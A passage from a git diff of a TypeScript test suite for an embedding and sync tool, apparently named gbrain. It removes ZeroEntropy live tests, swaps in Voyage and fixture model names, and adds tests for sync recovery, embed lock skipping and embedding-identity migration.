throw new Error(`sync stopped before a committed receipt: ${result.err}\n${result.out}\n${serveStderr}`);
}
+ if (!existsSync(claimBarrier)) return false;
const result = await operation('list_write_requests', { source_id: 'workspace', limit: 25 }) as { requests: typeof observed };
observed = result.requests;
- return observed.some(row => row.state === 'committed');
- }, 'a committed sync page receipt');
+ return observed.some(row => row.state === 'committed') && observed.some(row => row.state === 'running');
+ }, 'committed and running sync page receipts');
} finally { serveProc!.kill('SIGKILL'); await serveProc!.exited; }
const result = await client;
+ const paused = JSON.parse(readFileSync(claimBarrier, 'utf8')) as { requestId: string; runId: string };
+ expect(observed.some(row => row.request_id === paused.requestId && row.state === 'running')).toBe(true);
expect(result.code).toBe(1);
expect(result.err).toContain('Delegating to the registered PGLite owner.');
expect(JSON.parse(result.out)).toMatchObject({ error: 'write_pending', suggestion: expect.stringContaining('same sync options') });
@@ -185,6 +189,7 @@ describe('serve-delegated sync (real serve + real sync subprocesses)', () => {
"SELECT completed_keys->0 AS value FROM op_checkpoints WHERE op='managed-sync'");
expect(cursor.value.done).not.toBe(true);
interruptedRun = cursor.value.runId;
+ expect(interruptedRun).toBe(paused.runId);
savedRequests = await engine.executeRaw("SELECT request_id,slug,state FROM persistence_requests WHERE intent->>'runId'=$1", [interruptedRun]);
expect(savedRequests.length).toBeGreaterThan(0);
expect(savedRequests.length).toBeLessThan(301);
@@ -192,13 +197,40 @@ describe('serve-delegated sync (real serve + real sync subprocesses)', () => {
// The next ID may have been flushed just before its admission. Resume
// must use that frozen ID too, whether or not its receipt exists yet.
pendingRequestId = cursor.value.pending?.requestId;
+ expect(pendingRequestId).toBe(paused.requestId);
const [source] = await engine.executeRaw<{ last_commit: string }>("SELECT last_commit FROM sources WHERE id='workspace'");
expect(source.last_commit).toBe(initialCommit);
} finally { await engine.disconnect(); }
}, 200_000);
test('Pin 4 — direct sync resumes the same run and IDs without a manual lock break', async () => {
- const result = await runSyncChild(resumeArgs, 240_000);
+ let result = await runSyncChild(resumeArgs, 240_000);
+ if (result.code !== 0) {
+ expect(result.code).toBe(1);
+ if (!pendingRequestId) throw new Error('Pending recovery has no saved request ID.');
+ const partial = JSON.parse(result.out);
+ expect(partial).toMatchObject({ schema_version: 1, source_id: 'workspace', sync_status: 'partial',
+ reason: 'writer_pending', run_id: interruptedRun });
+ expect(partial.managed_write.write_request.request_id).toBe(pendingRequestId);
+ const pendingEngine = await createEngine(config());
+ let retryAfterMs: number;
+ try {
+ await pendingEngine.connect(config());
+ const [request] = await pendingEngine.executeRaw<{ request_id: string; state: string; retry_after_ms: number | null }>(
+ `SELECT request_id,state,GREATEST(0,extract(epoch FROM claim_expires_at-clock_timestamp())*1000)::float8 AS retry_after_ms
+ FROM persistence_requests WHERE request_id=$1::uuid`, [pendingRequestId]);
+ expect(request.request_id).toBe(pendingRequestId);
+ expect(['queued', 'running']).toContain(request.state);
+ retryAfterMs = Number(request.retry_after_ms ?? 0);
+ expect(Number.isFinite(retryAfterMs)).toBe(true);
+ expect(retryAfterMs).toBeGreaterThanOrEqual(0);
+ expect(retryAfterMs).toBeLessThanOrEqual(30_000);
+ const [source] = await pendingEngine.executeRaw<{ last_commit: string }>("SELECT last_commit FROM sources WHERE id='workspace'");
+ expect(source.last_commit).toBe(initialCommit);
+ } finally { await pendingEngine.disconnect(); }
+ await Bun.sleep(Math.ceil(retryAfterMs) + 1);
+ result = await runSyncChild(resumeArgs, 240_000);
+ }
assertSuccess(result);
expect(result.err).not.toContain('Delegating');
expect(JSON.parse(result.out)).toMatchObject({ schema_version: 1, source_id: 'workspace', sync_status: 'synced', added: 300, embedded: 0 });
diff --git a/test/e2e/unsupported-embedding-identity-postgres.test.ts b/test/e2e/unsupported-embedding-identity-postgres.test.ts
new file mode 100644
index 0000000000..ddca6fff99
--- /dev/null
+++ b/test/e2e/unsupported-embedding-identity-postgres.test.ts
@@ -0,0 +1,9 @@
+import { test } from 'bun:test';
+import { hasDatabase } from './helpers.ts';
+
+if (hasDatabase()) {
+ await import('../unsupported-embedding-identity.serial.test.ts');
+ await import('../embedding-identity-companions.serial.test.ts');
+} else {
+ test.skip('stored embedding identity parity requires PostgreSQL', () => {});
+}
diff --git a/test/e2e/upsert-chunks-registry-column.test.ts b/test/e2e/upsert-chunks-registry-column.test.ts
index 538ebf5097..666392ccc8 100644
--- a/test/e2e/upsert-chunks-registry-column.test.ts
+++ b/test/e2e/upsert-chunks-registry-column.test.ts
@@ -31,7 +31,7 @@ import { assertSafeE2eDatabaseUrl } from '../helpers/db-guard.ts';
const REGISTRY_JSON = JSON.stringify({
embedding_test8: { provider: 'voyage:voyage-3-large', dimensions: 8, type: 'vector' },
- embedding_hv8: { provider: 'zeroentropyai:zembed-1', dimensions: 8, type: 'halfvec' },
+ embedding_hv8: { provider: 'fixture-provider:embedding-v1', dimensions: 8, type: 'halfvec' },
});
const VEC8 = new Float32Array([1, 2, 3, 4, 5, 6, 7, 8]);
@@ -160,7 +160,7 @@ function registryWriteScenario(name: string, getEngine: () => BrainEngine) {
chunk_text: 'halfvec chunk',
chunk_source: 'compiled_truth',
embedding: VEC8,
- model: 'zeroentropyai:zembed-1',
+ model: 'fixture-provider:embedding-v1',
},
]);
const rows = await engine.executeRaw<{ hv_null: boolean }>(
@@ -487,7 +487,7 @@ describe('#1262 resolveWriteColumnFromConfigRows / vectorCastSuffix', () => {
test('registry override of the embedding builtin wins', () => {
const r = resolveWriteColumnFromConfigRows({
embeddingColumnsJson: JSON.stringify({
- embedding: { provider: 'zeroentropyai:zembed-1', dimensions: 2560, type: 'halfvec' },
+ embedding: { provider: 'fixture-provider:embedding-v1', dimensions: 2560, type: 'halfvec' },
}),
});
expect(r.name).toBe('embedding');
diff --git a/test/e2e/zeroentropy-live.test.ts b/test/e2e/zeroentropy-live.test.ts
deleted file mode 100644
index ede7f88b37..0000000000
--- a/test/e2e/zeroentropy-live.test.ts
+++ /dev/null
@@ -1,186 +0,0 @@
-/**
- * v0.35.0.0 — ZeroEntropy live E2E tests.
- *
- * Real HTTP round-trip against `api.zeroentropy.dev`. Gated on
- * `ZEROENTROPY_API_KEY` — when absent, every test skips gracefully so
- * `bun run test:e2e` stays green on contributor machines that don't have
- * a ZE account.
- *
- * Pins (only meaningful when the env var is set):
- * - POST /v1/models/embed returns float embeddings that round-trip
- * through the AI-SDK adapter (after zeroEntropyCompatFetch's response
- * rewrite).
- * - dimensions parameter is honored: 2560 default → vector of length
- * 2560; 1280 → 1280; etc.
- * - asymmetric input_type plumbing reaches ZE: embedQuery() and embed()
- * both succeed and return same-shape vectors (we can't easily inspect
- * whether ZE actually produced asymmetric vectors without a reference
- * corpus, but the request must succeed without HTTP 400).
- * - POST /v1/models/rerank returns indices + relevance_scores that
- * round-trip through gateway.rerank() into RerankResult[].
- *
- * Cost note: each test fires 1-2 HTTP requests. At $0.025/1M tokens and
- * ~100 tokens per test, the full file costs well under a cent. Still
- * gated by env so contributor PR CI doesn't spend.
- */
-
-import { describe, test, expect, beforeAll, afterAll } from 'bun:test';
-import {
- configureGateway,
- resetGateway,
- embed,
- embedQuery,
- rerank,
-} from '../../src/core/ai/gateway.ts';
-
-const API_KEY = process.env.ZEROENTROPY_API_KEY;
-
-// v0.46.3 date guard: ZeroEntropy's hosted API shuts down on the sunset date.
-// After it, this live suite can only go permanently red against a dead
-// endpoint — auto-skip regardless of key presence so a slipped removal wave
-// can't wedge CI. The September removal release deletes this file entirely.
-const SUNSET_PASSED = Date.now() >= Date.parse('2026-09-04T00:00:00Z');
-
-// Skip the entire file when env is absent. `describe.skipIf` exists in
-// modern bun:test; fall back to in-test guards for older runners.
-const skipAll = !API_KEY || SUNSET_PASSED;
-
-beforeAll(() => {
- if (skipAll) return;
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 2560,
- reranker_model: 'zeroentropyai:zerank-2',
- env: { ZEROENTROPY_API_KEY: API_KEY! },
- });
-});
-
-afterAll(() => {
- if (!skipAll) resetGateway();
-});
-
-describe('ZE live — embed round-trip', () => {
- test('embed(["text"]) returns Float32Array[2560]', async () => {
- if (skipAll) {
- console.warn('[skip] ZEROENTROPY_API_KEY not set');
- return;
- }
- const [v] = await embed(['hello world']);
- expect(v).toBeInstanceOf(Float32Array);
- expect(v.length).toBe(2560);
- // Sanity: at least one non-zero element (otherwise the response
- // rewrite probably dropped the payload).
- const anyNonZero = Array.from(v).some(x => x !== 0);
- expect(anyNonZero).toBe(true);
- });
-
- test('embedQuery("text") returns Float32Array[2560] (query side)', async () => {
- if (skipAll) {
- console.warn('[skip] ZEROENTROPY_API_KEY not set');
- return;
- }
- const v = await embedQuery('what is foo');
- expect(v).toBeInstanceOf(Float32Array);
- expect(v.length).toBe(2560);
- const anyNonZero = Array.from(v).some(x => x !== 0);
- expect(anyNonZero).toBe(true);
- });
-
- test('embed batch of 3 returns 3 vectors in order', async () => {
- if (skipAll) {
- console.warn('[skip] ZEROENTROPY_API_KEY not set');
- return;
- }
- const out = await embed(['one', 'two', 'three']);
- expect(out.length).toBe(3);
- for (const v of out) {
- expect(v).toBeInstanceOf(Float32Array);
- expect(v.length).toBe(2560);
- }
- // Different inputs → different vectors (sanity check; would fail
- // hard if the response-rewriter accidentally returned the same
- // vector for every input).
- expect(out[0]).not.toEqual(out[1]);
- expect(out[1]).not.toEqual(out[2]);
- });
-});
-
-// ZE rerank API has multi-second cold-start latency on the first request
-// of a CI run (observed ~5-6s on Tier 2 runners; subsequent calls < 500ms).
-// The production DEFAULT_RERANK_TIMEOUT_MS in gateway.ts stays at 5s for the
-// search hot path; these E2E tests pass an explicit input.timeoutMs and a
-// longer bun:test per-test timeout so cold-start doesn't flake CI.
-const ZE_RERANK_TIMEOUT_MS = 25_000;
-const ZE_TEST_TIMEOUT_MS = 30_000;
-
-describe('ZE live — rerank round-trip', () => {
- test('rerank({query, documents}) returns sorted RerankResult[]', async () => {
- if (skipAll) {
- console.warn('[skip] ZEROENTROPY_API_KEY not set');
- return;
- }
- const out = await rerank({
- query: 'how does photosynthesis work',
- documents: [
- 'Photosynthesis is the process by which plants convert sunlight to energy.',
- 'My cat likes to eat tuna fish.',
- 'Chlorophyll absorbs red and blue light during photosynthesis.',
- ],
- timeoutMs: ZE_RERANK_TIMEOUT_MS,
- });
- expect(out.length).toBe(3);
- for (const r of out) {
- expect(typeof r.index).toBe('number');
- expect(typeof r.relevanceScore).toBe('number');
- // ZE relevance scores are in [0, 1]. Pin the range so a future
- // contract change is loud.
- expect(r.relevanceScore).toBeGreaterThanOrEqual(0);
- expect(r.relevanceScore).toBeLessThanOrEqual(1);
- }
- // Photosynthesis-relevant docs should score higher than the cat doc.
- // We don't pin a specific order (zerank-2 may re-rank the two
- // photosynthesis docs in either order depending on phrasing), but
- // the cat doc must NOT be at the top.
- const topIndex = out[0]!.index;
- expect(topIndex).not.toBe(1); // index 1 is the cat doc
- }, ZE_TEST_TIMEOUT_MS);
-
- test('rerank with top_n=2 returns at most 2 results', async () => {
- if (skipAll) {
- console.warn('[skip] ZEROENTROPY_API_KEY not set');
- return;
- }
- const out = await rerank({
- query: 'photosynthesis',
- documents: ['photosynthesis a', 'cats b', 'photosynthesis c'],
- topN: 2,
- timeoutMs: ZE_RERANK_TIMEOUT_MS,
- });
- expect(out.length).toBeLessThanOrEqual(2);
- }, ZE_TEST_TIMEOUT_MS);
-});
-
-describe('ZE live — flexible dims', () => {
- test('1280-dim embedding returns Float32Array[1280]', async () => {
- if (skipAll) {
- console.warn('[skip] ZEROENTROPY_API_KEY not set');
- return;
- }
- resetGateway();
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ZEROENTROPY_API_KEY: API_KEY! },
- });
- const [v] = await embed(['1280 dim test']);
- expect(v.length).toBe(1280);
- // Restore 2560 for subsequent tests.
- resetGateway();
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 2560,
- reranker_model: 'zeroentropyai:zerank-2',
- env: { ZEROENTROPY_API_KEY: API_KEY! },
- });
- });
-});
diff --git a/test/embed-input-type-wire.serial.test.ts b/test/embed-input-type-wire.serial.test.ts
index 3e8fa73e11..c71d5a37fd 100644
--- a/test/embed-input-type-wire.serial.test.ts
+++ b/test/embed-input-type-wire.serial.test.ts
@@ -8,7 +8,7 @@
* adapter validates providerOptions against a fixed schema and silently
* drops `input_type` before building the HTTP body. Without the
* `__embedInputTypeStore` recovery in the per-recipe fetch shims, every
- * query was encoded document-side (ZE shim's hard default) or with no
+ * query was encoded document-side (a document-side default) or with no
* input_type at all (Voyage, llama-server) — asymmetric retrieval silently
* collapsed while the providerOptions-level test stayed green.
*
@@ -51,18 +51,6 @@ function openAIShapedResponse(dims: number, count: number): Response {
);
}
-/** ZE-shaped /v1/models/embed response (zeroEntropyCompatFetch rewrites results→data). */
-function zeShapedResponse(dims: number, count: number): Response {
- const vec = Array.from({ length: dims }, () => 0.1);
- return new Response(
- JSON.stringify({
- results: Array.from({ length: count }, () => ({ embedding: vec })),
- usage: { total_bytes: 12, total_tokens: 3 },
- }),
- { status: 200, headers: { 'Content-Type': 'application/json' } },
- );
-}
-
/** Voyage-shaped response: base64 Float32 LE embeddings (rewriter decodes). */
function voyageShapedResponse(dims: number, count: number): Response {
const b64 = Buffer.from(new Float32Array(dims).fill(0.1).buffer).toString('base64');
@@ -75,44 +63,6 @@ function voyageShapedResponse(dims: number, count: number): Response {
);
}
-describe('ZeroEntropy hosted — input_type reaches the wire body', () => {
- function configureZE() {
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ZEROENTROPY_API_KEY: 'sk-fake' },
- });
- }
-
- test('embedQuery sends input_type=query (not the document default)', async () => {
- configureZE();
- let capturedUrl = '';
- let capturedBody: any = null;
- fetchHandler = async (url, init) => {
- capturedUrl = url;
- capturedBody = JSON.parse(init.body as string);
- return zeShapedResponse(1280, 1);
- };
-
- await embedQuery('what does foo bar do?');
- // Sanity: the ZE shim ran (URL path rewritten).
- expect(capturedUrl).toContain('/models/embed');
- expect(capturedBody.input_type).toBe('query');
- });
-
- test('embed (index path) sends input_type=document', async () => {
- configureZE();
- let capturedBody: any = null;
- fetchHandler = async (_url, init) => {
- capturedBody = JSON.parse(init.body as string);
- return zeShapedResponse(1280, 1);
- };
-
- await embed(['this is a document being indexed']);
- expect(capturedBody.input_type).toBe('document');
- });
-});
-
describe('openai-compatible recipes (local/proxy asymmetric models) — input_type reaches the wire body', () => {
function configureLlamaServer(modelId: string, dims: number) {
configureGateway({
@@ -122,14 +72,14 @@ describe('openai-compatible recipes (local/proxy asymmetric models) — input_ty
});
}
- test('embedQuery against a local zembed-1 sends input_type=query', async () => {
- configureLlamaServer('zembed-1', 1280);
+ test('embedQuery against a local voyage-4 sends input_type=query', async () => {
+ configureLlamaServer('voyage-4', 1024);
let capturedUrl = '';
let capturedBody: any = null;
fetchHandler = async (url, init) => {
capturedUrl = url;
capturedBody = JSON.parse(init.body as string);
- return openAIShapedResponse(1280, 1);
+ return openAIShapedResponse(1024, 1);
};
await embedQuery('what does foo bar do?');
@@ -139,15 +89,15 @@ describe('openai-compatible recipes (local/proxy asymmetric models) — input_ty
expect(capturedBody.input_type).toBe('query');
});
- test('embed (index path) against a local zembed-1 sends input_type=document', async () => {
- configureLlamaServer('zembed-1', 1280);
+ test('embed (index path) against a local voyage-4 sends input_type=document', async () => {
+ configureLlamaServer('voyage-4', 1024);
let capturedBody: any = null;
fetchHandler = async (_url, init) => {
capturedBody = JSON.parse(init.body as string);
- return openAIShapedResponse(1280, 1);
+ return openAIShapedResponse(1024, 1);
};
- await embed(['this is a document being indexed']);
+ await embed(['this is a document being indexed'], { inputType: 'document' });
expect(capturedBody.input_type).toBe('document');
});
@@ -170,18 +120,18 @@ describe('openai-compatible recipes (local/proxy asymmetric models) — input_ty
test('litellm proxying an asymmetric model: embedQuery sends input_type=query', async () => {
// The shim is the fallthrough default for every openai-compatible
// recipe without its own compat fetch — dims.ts threads input_type by
- // model id, so a zembed-1 behind a LiteLLM proxy (e.g. fronting vLLM)
+ // model id, so a voyage-4 behind a LiteLLM proxy (e.g. fronting vLLM)
// gets the same signal as llama-server.
configureGateway({
- embedding_model: 'litellm:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'litellm:voyage-4',
+ embedding_dimensions: 1024,
env: { LITELLM_API_KEY: 'sk-fake' },
base_urls: { litellm: 'http://localhost:4000' },
});
let capturedBody: any = null;
fetchHandler = async (_url, init) => {
capturedBody = JSON.parse(init.body as string);
- return openAIShapedResponse(1280, 1);
+ return openAIShapedResponse(1024, 1);
};
await embedQuery('what does foo bar do?');
@@ -190,14 +140,14 @@ describe('openai-compatible recipes (local/proxy asymmetric models) — input_ty
test('ollama serving an asymmetric model: embedQuery sends input_type=query', async () => {
configureGateway({
- embedding_model: 'ollama:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'ollama:voyage-4',
+ embedding_dimensions: 1024,
env: {},
});
let capturedBody: any = null;
fetchHandler = async (_url, init) => {
capturedBody = JSON.parse(init.body as string);
- return openAIShapedResponse(1280, 1);
+ return openAIShapedResponse(1024, 1);
};
await embedQuery('what does foo bar do?');
diff --git a/test/embed-lock-skipped.serial.test.ts b/test/embed-lock-skipped.serial.test.ts
new file mode 100644
index 0000000000..385329d665
--- /dev/null
+++ b/test/embed-lock-skipped.serial.test.ts
@@ -0,0 +1,73 @@
+import { describe, test, expect, beforeAll, afterAll } from 'bun:test';
+import { mkdtempSync, rmSync } from 'fs';
+import { join } from 'path';
+import { tmpdir } from 'os';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
+import { runEmbedCore } from '../src/commands/embed.ts';
+import { tryAcquireDbLock, type DbLockHandle } from '../src/core/db-lock.ts';
+import { embedBackfillLockId } from '../src/core/embed-backfill-lock.ts';
+
+let engine: PGLiteEngine;
+let tmpHome: string;
+let savedHome: string | undefined;
+
+beforeAll(async () => {
+ savedHome = process.env.GBRAIN_HOME;
+ tmpHome = mkdtempSync(join(tmpdir(), 'gbrain-embed-lock-'));
+ process.env.GBRAIN_HOME = tmpHome;
+ // Gateway BEFORE initSchema — the schema sizes the embedding column from
+ // the configured dims (same order as migrate-embeddings-flow.serial).
+ configureGateway({
+ embedding_model: 'openai:text-embedding-3-small',
+ embedding_dimensions: 1024,
+ env: { OPENAI_API_KEY: 'sk-test-fake' },
+ });
+ engine = new PGLiteEngine();
+ await engine.connect({ embedding_dimensions: 1024 } as never);
+ await engine.initSchema(); // content_chunks.embedding at the shipped-default 1024 width
+});
+
+afterAll(async () => {
+ resetGateway();
+ await engine.disconnect();
+ if (savedHome !== undefined) process.env.GBRAIN_HOME = savedHome;
+ else delete process.env.GBRAIN_HOME;
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+describe('EmbedResult.lock_skipped — single-flight bail is observable', () => {
+ test('a held per-source lock makes runEmbedCore report lock_skipped', async () => {
+ // Dims match the column (1024) so the embed dim preflight passes; the
+ // fake key satisfies the credential preflight (no embed call happens —
+ // the lock bail fires before any work).
+ configureGateway({
+ embedding_model: 'openai:text-embedding-3-small',
+ embedding_dimensions: 1024,
+ env: { OPENAI_API_KEY: 'sk-test-fake' },
+ });
+ const sources = await engine.listAllSources();
+ const ids = sources.length > 0 ? sources.map((s) => s.id) : ['default'];
+ const locks: DbLockHandle[] = [];
+ for (const sid of ids) {
+ const lock = await tryAcquireDbLock(engine, embedBackfillLockId(sid), 60);
+ expect(lock).not.toBeNull();
+ locks.push(lock!);
+ }
+ try {
+ const result = await runEmbedCore(engine, { stale: true, singleFlight: true, quiet: true });
+ expect(result.embedded).toBe(0);
+ // Behavioral pin: master returns the same zero-work result WITHOUT the
+ // flag, so `migrate embeddings` can't tell "lock held" from "embed
+ // failures" and prints a resume hint that a re-run cannot honor.
+ expect(result.lock_skipped).toBe(true);
+ } finally {
+ for (const l of locks) await l.release();
+ }
+ });
+
+ test('no lock contention → lock_skipped is not set', async () => {
+ const result = await runEmbedCore(engine, { stale: true, singleFlight: true, quiet: true });
+ expect(result.lock_skipped).toBeFalsy();
+ });
+});
diff --git a/test/embed-stale.serial.test.ts b/test/embed-stale.serial.test.ts
index 5daba71706..488aadac8e 100644
--- a/test/embed-stale.serial.test.ts
+++ b/test/embed-stale.serial.test.ts
@@ -401,8 +401,8 @@ describe('signature invalidation is probe-gated (#4283)', () => {
expect(await embeddedCount()).toBe(4);
const result = await embedStaleForSource(engine, 'default', {
- embeddingSignature: 'zeroentropyai:zembed-1:1280',
- embedFn: async () => { throw new Error('ZeroEntropy embedding requires ZEROENTROPY_API_KEY.'); },
+ embeddingSignature: 'fixture-provider:embedding-v1:1280',
+ embedFn: async () => { throw new Error('Fixture embedding requires FIXTURE_API_KEY.'); },
});
// Pre-fix: all 4 embeddings were stripped and the run reported done.
@@ -417,7 +417,7 @@ describe('signature invalidation is probe-gated (#4283)', () => {
const result = await embedStaleForSource(engine, 'default', {
// Signature claims 1280 dims but the embedder returns 1536-d vectors:
// every post-NULL upsert would fail, so refuse to NULL at all.
- embeddingSignature: 'zeroentropyai:zembed-1:1280',
+ embeddingSignature: 'fixture-provider:embedding-v1:1280',
embedFn: fakeEmbedFn,
});
expect(await embeddedCount()).toBe(2);
diff --git a/test/embedding-dim-check.test.ts b/test/embedding-dim-check.test.ts
index 7d5a340f7a..2ca3870165 100644
--- a/test/embedding-dim-check.test.ts
+++ b/test/embedding-dim-check.test.ts
@@ -34,7 +34,7 @@ beforeAll(async () => {
// content_chunks vector column at the gateway's configured dim. The
// bunfig preload pins OpenAI/1536, but its beforeEach only re-applies
// legacy when the gateway was RESET (throws) — it does NOT correct a
- // sibling that configured a different LIVE dim (e.g. ZE/1280) and never
+ // sibling that configured a different LIVE dim (e.g. Voyage/1024) and never
// reset. Under weight-based shard bin-packing, such a sibling can run
// first, so pin 1536 explicitly here BEFORE initSchema (this is exactly
// the "call configureGateway() in your own beforeAll" escape hatch the
@@ -56,14 +56,14 @@ afterAll(async () => {
describe('readContentChunksEmbeddingDim', () => {
test('returns dims from a migrated brain (1536d via legacy-embedding preload)', async () => {
- // v0.37 fix wave: the canonical gateway default is now 1280 (ZE).
+ // v0.37 fix wave: the canonical gateway default is now 1024 (Voyage).
// However, `bunfig.toml` preloads `test/helpers/legacy-embedding-preload.ts`
// which configures the gateway to OpenAI/1536 BEFORE any test runs.
// This preserves the 20+ test files with hardcoded 1536-d
// Float32Array fixtures. So initSchema() under tests produces a
// 1536-d column.
//
- // New v0.37 tests that need to assert the ZE/1280 default can call
+ // New v0.37 tests that need to assert the Voyage/1024 default can call
// configureGateway() explicitly in their own beforeAll, which
// overrides the preload.
const result = await readContentChunksEmbeddingDim(engine);
@@ -157,16 +157,16 @@ describe('embeddingMismatchMessage', () => {
test('PGLite branch uses wipe-and-reinit, not ALTER COLUMN', () => {
const msg = embeddingMismatchMessage({
currentDims: 1536,
- requestedDims: 1280,
- requestedModel: 'zeroentropyai:zembed-1',
+ requestedDims: 1024,
+ requestedModel: 'voyage:voyage-4',
source: 'init',
engineKind: 'pglite',
databasePath: '/tmp/test-brain.pglite',
});
expect(msg).toContain('vector(1536)');
- expect(msg).toContain('vector(1280)');
+ expect(msg).toContain('vector(1024)');
expect(msg).toContain('mv /tmp/test-brain.pglite /tmp/test-brain.pglite.bak');
- expect(msg).toContain('gbrain init --pglite --embedding-model zeroentropyai:zembed-1 --embedding-dimensions 1280');
+ expect(msg).toContain('gbrain init --pglite --embedding-model voyage:voyage-4 --embedding-dimensions 1024');
expect(msg).toContain('PGLite cannot ALTER vector column types');
// Must NOT contain the Postgres-only SQL recipe.
expect(msg).not.toContain('ALTER TABLE content_chunks ALTER COLUMN');
@@ -188,7 +188,7 @@ describe('embeddingMismatchMessage', () => {
const msg = embeddingMismatchMessage({
currentDims: 1536,
requestedDims: 1280,
- requestedModel: 'zeroentropyai:zembed-1',
+ requestedModel: 'voyage:voyage-4',
source: 'doctor',
engineKind: 'pglite',
});
@@ -215,32 +215,32 @@ describe('resolveSchemaEmbeddingDim', () => {
});
});
- test('ZeroEntropy zembed-1 resolves at recipe default', () => {
- const got = resolveSchemaEmbeddingDim({ embedding_model: 'zeroentropyai:zembed-1' });
+ test('Voyage voyage-4 resolves at recipe default', () => {
+ const got = resolveSchemaEmbeddingDim({ embedding_model: 'voyage:voyage-4' });
expect(got.ok).toBe(true);
if (got.ok) {
- expect(got.provider).toBe('zeroentropyai');
- expect(got.model).toBe('zeroentropyai:zembed-1');
+ expect(got.provider).toBe('voyage');
+ expect(got.model).toBe('voyage:voyage-4');
expect(got.dim).toBeGreaterThan(0);
}
});
- test('ZeroEntropy Matryoshka explicit dim (1280) accepted', () => {
+ test('Voyage Matryoshka explicit dim (512) accepted', () => {
const got = resolveSchemaEmbeddingDim({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 512,
});
expect(got.ok).toBe(true);
- if (got.ok) expect(got.dim).toBe(1280);
+ if (got.ok) expect(got.dim).toBe(512);
});
- test('ZeroEntropy Matryoshka invalid dim (1024) rejected — 1024 is Voyage step, not ZE', () => {
+ test('Voyage Matryoshka invalid dim (1280) rejected — 1280 is not a Voyage step', () => {
const got = resolveSchemaEmbeddingDim({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1024,
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1280,
});
expect(got.ok).toBe(false);
- if (!got.ok) expect(got.error).toMatch(/does not support custom dimensions 1024|only emits/);
+ if (!got.ok) expect(got.error).toBe('Voyage model "voyage-4" rejects custom dimensions 1280 (allowed: 256, 512, 1024, 2048).');
});
test('OpenAI text-3-large rejects 2048 (not in declared dims_options)', () => {
diff --git a/test/embedding-identity-companions.serial.test.ts b/test/embedding-identity-companions.serial.test.ts
new file mode 100644
index 0000000000..e129ffef05
--- /dev/null
+++ b/test/embedding-identity-companions.serial.test.ts
@@ -0,0 +1,328 @@
+import { afterEach, beforeEach, describe, expect, spyOn, test } from 'bun:test';
+import { mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { spawnSync } from 'node:child_process';
+import type { BrainEngine } from '../src/core/engine.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import {
+ __setEmbedTransportForTests, __setRerankTransportForTests,
+ configureGateway, getEmbeddingModel, resetGateway,
+} from '../src/core/ai/gateway.ts';
+import {
+ applyEmbeddingMigration, MIGRATION_STATE_KEY, planEmbeddingMigration,
+ readMigrationState, readMigrationStatus,
+} from '../src/core/embedding-migration.ts';
+import { initPGLite, initPostgresCore } from '../src/commands/init.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+import { withEnv } from './helpers/with-env.ts';
+
+const OLD = 'fixture-unsupported:embedding-v1';
+const TARGET = 'voyage:voyage-4';
+const DIMS = 1024;
+const VECTOR = new Float32Array(DIMS).fill(0.125);
+const VECTOR_TEXT = JSON.stringify(Array.from(VECTOR));
+type Kind = 'pglite' | 'postgres';
+type Store = 'facts' | 'query_cache' | 'takes';
+let providerCalls = 0;
+let fetchSpy: ReturnType<typeof spyOn>;
+
+beforeEach(() => {
+ providerCalls = 0;
+ const refuse = async () => { providerCalls++; throw new Error('Unexpected provider/network call'); };
+ fetchSpy = spyOn(globalThis, 'fetch').mockImplementation(Object.assign(refuse, { preconnect: globalThis.fetch.preconnect }));
+ __setEmbedTransportForTests(refuse);
+ __setRerankTransportForTests(refuse);
+});
+
+afterEach(() => {
+ fetchSpy.mockRestore();
+ __setEmbedTransportForTests(null);
+ __setRerankTransportForTests(null);
+ resetGateway();
+ expect(providerCalls).toBe(0);
+});
+
+async function withBrain(kind: Kind, fn: (fixture: {
+ engine: BrainEngine;
+ file: string;
+ reopen: () => Promise<void>;
+ resumeInFreshProcess: () => Promise<{ status: string; schema_transitioned: boolean }>;
+ reinit: (skipEmbedCheck?: boolean) => Promise<void>;
+}) => Promise<void>) {
+ const home = mkdtempSync(join(tmpdir(), 'gbrain-companion-identity-'));
+ try {
+ await withEnv({
+ GBRAIN_HOME: home, GBRAIN_PGLITE_SNAPSHOT: undefined,
+ GBRAIN_EMBEDDING_MODEL: undefined, GBRAIN_EMBEDDING_DIMENSIONS: undefined,
+ VOYAGE_API_KEY: 'fixture-key', GBRAIN_NO_AUTO_SYNC: '1',
+ }, async () => {
+ configureGateway({ embedding_model: OLD, embedding_dimensions: DIMS, env: {} });
+ const pg = kind === 'postgres' ? await isolatedPersistencePostgres(process.env.DATABASE_URL!) : null;
+ const engine = pg?.engine ?? new PGLiteEngine();
+ let databaseUrl: string | undefined;
+ const databasePath = join(home, 'brain');
+ if (pg) {
+ const rows = await engine.executeRaw<{ name: string }>('SELECT current_database() AS name');
+ const url = new URL(process.env.DATABASE_URL!);
+ url.pathname = `/${rows[0].name}`;
+ databaseUrl = url.toString();
+ } else {
+ await engine.connect({ database_path: databasePath });
+ await engine.initSchema();
+ }
+ const connection = pg ? { database_url: databaseUrl!, poolSize: 4 } : { database_path: databasePath };
+ const file = join(home, '.gbrain', 'config.json');
+ mkdirSync(join(home, '.gbrain'), { recursive: true });
+ writeFileSync(file, JSON.stringify({ engine: kind, ...connection }));
+ try {
+ for (const table of ['facts', 'query_cache']) {
+ const rows = await engine.executeRaw<{ udt_name: string }>(
+ "SELECT udt_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = $1 AND column_name = 'embedding'", [table],
+ );
+ expect(rows).toHaveLength(1);
